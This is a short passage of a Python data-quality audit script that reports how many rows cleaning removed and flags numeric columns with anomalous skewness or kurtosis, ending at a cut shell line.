        print(f"\n  Removed samples: {len(original_data) - len(cleaned_data)} ({removed_ratio:.4f})")
    numeric_cols = cleaned_data.select_dtypes(include=[np.number]).columns
    if len(numeric_cols) > 0:
        print(f"\n  Numeric feature statistics:")
        stats = cleaned_data[numeric_cols].describe()
        for col in numeric_cols:
            skewness = cleaned_data[col].skew()
            kurtosis = cleaned_data[col].kurtosis()
            if abs(skewness) > 2 or abs(kurtosis) > 7:
                print(f"    [!] {col}: skewness={skewness:.4f}, kurtosis={kurtosis:.4f} (anomalous)")

audit_data_cleaning_pipeline('train.csv', 'raw_train.csv')

python3 <